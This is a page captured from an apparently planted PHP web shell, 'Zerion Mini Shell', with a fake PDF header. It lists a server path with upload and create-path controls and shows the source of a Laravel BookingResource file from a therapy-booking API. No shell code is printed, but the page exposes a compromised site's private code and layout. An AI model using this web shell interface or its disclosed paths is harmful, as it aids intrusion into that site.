%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Resources/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Resources/BookingResource.php

<?php

namespace App\Http\Resources;

use App\Models\Booking;
use App\Http\Resources\TherapistResource;
use App\Http\Resources\UserResource;
use App\Http\Resources\SessionResource;
use App\Http\Resources\Account\UserAddressResource;
use Illuminate\Http\Resources\Json\JsonResource;

class BookingResource extends JsonResource
{
    /**
     * Transform the resource into an array.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return array
     */
    public function toArray($request)
    {
        return [
            'id' => $this->id,
            'therapist' => new TherapistResource($this->therapist),
            'user' => new UserResource($this->user),
            'session' => new SessionResource($this->session),
            'address' => new UserAddressResource($this->address),
            'date' => $this->start_date->isTomorrow() ? 'Tomorrow at' : $this->start_date->format('jS F Y'),
            'time' => $this->start_date->format('H:i').' - '.$this->end_date->format('H:i'),
            'status' => Booking::STATUSES[$this->status],
            'is_cancelable' => auth()->user()->hasRole('therapist') ? true : $this->start_date >= now()->addHour(48) && $this->status !== 2 ? true : false,
            'is_reschedulable' => auth()->user()->hasRole('therapist') ? true : $this->start_date >= now()->addHour(48) && $this->status !== 2 ? true : false
        ];
    }
}

Zerion Mini Shell 1.0